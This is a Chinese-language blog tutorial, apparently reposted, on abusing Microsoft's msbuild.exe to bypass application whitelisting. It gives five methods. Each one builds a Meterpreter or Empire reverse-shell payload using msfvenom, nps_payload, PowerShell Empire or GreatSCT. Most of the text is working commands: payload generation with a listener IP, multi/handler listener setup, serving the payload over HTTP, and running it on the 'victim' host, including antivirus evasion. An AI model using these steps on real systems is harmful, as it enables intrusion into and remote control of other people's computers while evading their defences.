• 使用msbuild.exe绕过应用程序白名单(多种方法)


     

    一、MSbuild.exe简介

    Microsoft Build Engine是一个用于构建应用程序的平台。此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。

    Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代码。

    二、攻击方法

    1.第一种方法:使用Msfvenom生成CSharp文件

    我们使用Microsoft Visual Studio创建带有*.csproj后缀的C#(C Sharp)编程项目,该后缀以msbuild格式保存,以便使用msbuild平台将其编译为可执行程序。

    在恶意程序的生成并执行下,我们可以获得受害者主机的反向shell。因此,现在我们将生成file.csproj文件,为此,首先通过msfvenom生成c#的shellcode。然后,shellcode将被放入到我们的file.csproj中,如下所示

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

    上面生成的shellcode应该放在XML文件中,你可以从GitHub下载这个XML文件它有被MSBuild编译和执行的代码。此XML文件应保存为file.csproj,并且必须通过MSBuild运行才能获得Meterpreter会话。

    注意:从C#shellcode中替换shellcode值,然后将buf重命名shellcode,如下图所示:

    可以从Visual Studio或命令窗口运行msbuild。通过使用Visual Studio,您可以在.NET框架的任意一个版本上运行编译一个应用程序。

    例如,您可以在32位平台上的.NET Framework 2.0上运行编译应用程序,并且您可以在64位平台上的.NET Framework 4.5上运行编译相同的应用程序。编译到多个框架的任务被称为多目标。

    要了解有关msbuild的更多信息,请阅读此文章链接:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015

    现在启动多处理程序以获取meterpreter会话,并使用msbuild.exe在目标路径C:windowsmicrosoft.netframeworkv4.0.30319执行file.csproj文件,如图所示:

    C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe  file.csproj

    注意:您需要在此位置保存恶意exploit(XML/csproj)

    C:windowsmicrosoft.netframeworkv4.0.30319,然后使用命令提示符执行此文件

    use exploit/multi/handler
    msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(multi/handler) > set lhost 192.168.1.109
    msf exploit(multi/handler) > set lport 1234
    msf exploit(multi/handler) > exploit

    如您所见,我们将拥有受害者的meterpreter session ,如下所示:

    2.第二种方法:生成XML文件以利用MSBuild

    如上所述,msbuild使用基于XML的项目文件格式,该格式简单且可扩展,因此我们可以将生成的file.csproj重命名为file.xml,然后在目标路径上使用msbuild.exe再次运行file.xml:c:windowsmicrosoft.netframeworkv4.0.30319,如图所示。

    C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe file.xml

    use exploit/multi/handler
    msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf exploit(multi/handler) > set lhost 192.168.1.109
    msf exploit(multi/handler) > set lport 1234
    msf exploit(multi/handler) > exploit

    如您所见,我们将拥有受害者的meterpreter session ,如下所示

    3.第三种方法:Nps_Payload脚本

    此脚本将为基本的入侵检测的逃逸生成payload它利用了来自几个不同来源的公开技术由Larry Spohn(@spoonman1091)编写,Payload由Ben Mauch(@ben0xa)编写,又名Dirty_Ben。你可以从github下载它

    Nps_payload将生成可以使用msbuild.exe和mshta.exe执行的payload,以通过meterpreter会话获取受害者主机的反向连接。

    按照以下步骤生成payload:

    1. 从GitHub下载nps exploit后,运行./nps_payload.py脚本
    2. 输入1,然后选择选项“generate msbuild/nps/msfF”
    3. 再次输入1并选择payload选项“windows / meterpreter / reverse_tcp”

    这将在XML文件中生成payload,在目标位置C:windowsmicrosoft.netframeworkv4.0.30319中发送此文件,与前面的方法相同,并在新终端中同时运行下面的命令以启动侦听器

    msfconsole -r msbuild_nps.rc

    现在重复上面的步骤,使用命令提示符执行msbuild_nps.xml,并通过meterpreter获取反向连接,如下所示:

     C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe  msbuild_nps.xml

    4.第四种方法:PowerShell Empire

    对于我们的下一个msbuild攻击方法,我们将使用empire。empire是一款后开发框架。到目前为止,我们已经将我们的XML工具与Metasploit匹配,但在这种方法中,我们将使用empire框架。它只是基于python的PowerShell windows代理,这使得它非常有用Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier开发您可以从https://github.com/EmpireProject/Empire下载此框架

    要获得empire的基本指南,请访问我们的文章:

    https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

    启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。所以要设置一个侦听器类型

    listeners
    uselistner http
    set Host http://192.168.1.107
    execute

    使用上述命令,您将拥有一个活动的侦听器。输入back以退出侦听器,以便启动PowerShell。

    对于我们的msbuild攻击,我们将使用stager。empire中的stager是一段代码段,它允许我们的恶意代码通过被感染主机上的代理运行。因此,对于这种类型,请输入以下命令:

    usestager windows/launcher_xml
    set Listener http
    execute

    usestager将创建一个恶意代码文件,该文件将保存在名为launcher.xml的/tmp中。

    一旦文件运行,我们将在侦听器上获得结果。通过键入以下命令运行受害者的文件:

    cd C:WindowsMicrosoft.NETFrameworkv4.0.30319
    MSBuild.exe launcher.xml

    要查看是否有会话,请打开输入命令“agents”。这样做将向您显示您拥有的会话的名称。要访问该会话请输入以下命令:

    interact A8H14C7L

    上面的命令将允许您访问会话

    sysinfo

    5.第五种方法:GreatSCT

    GreatSCT是一款允许您使用Metasploit exploit 并允许它绕过大多数反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。您可以从这里下载:https//github.com/GreatSCT/GreatSCT

    下载并执行后,输入以下命令以访问模块:

    use Bypass

    现在查看payload列表类型:

    list

    现在,从payload列表中,您可以选择任何目标进行所需的攻击。但对于这次攻击,我们将使用:

    use msbuild/meterpreter/rev_tcp.py

    执行命令后,输入以下命令:

    set lhost 192.168.1.107
    generate

    在生成payload时,它将要求您为payload提供一个名称。默认情况下,它将以“payload”作为名称。我们将msbuild作为exploit名称,输出代码将保存在XML中。

    现在,创建了两个文件。一个Metasploit RC文件和另外一个msbuild.xml文件。

    首先,在/usr/share/greatsct output/source中通过输入以下命令启动python的服务器:

    python -m SimpleHTTPServer 80

    通过输入以下命令运行受害者的文件:

    cd C:WindowsMicrosoft.NETFrameworkv4.0.30319
    MSBuild.exe msbuild.xml

    同时,使用资源文件启动multi/handler。为此,输入以下命令:

     
    msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

    我们拥有一个meterpreter会话,如图所示:

    参考文章:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017

     

     
  • 相关阅读:
    写一些,给2013
    C# DateTime变量不能赋null值
    31222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
    王爽《汇编语言》第三版 第十五章 外中断
    王爽《汇编语言》第三版 第十四章 端口
    王爽《汇编语言》第三版 第十二章 内中断
    王爽《汇编语言》第三版 第十一章 标志寄存器
    王爽《汇编语言》第三版 第十章 call和ret指令
    王爽《汇编语言》第三版 第九章 转移指令的原理
    王爽《汇编语言》第三版 第八章 数据处理的两个基本问题
  • 原文地址:https://www.cnblogs.com/backlion/p/10490573.html
Copyright © 2020-2023  润新知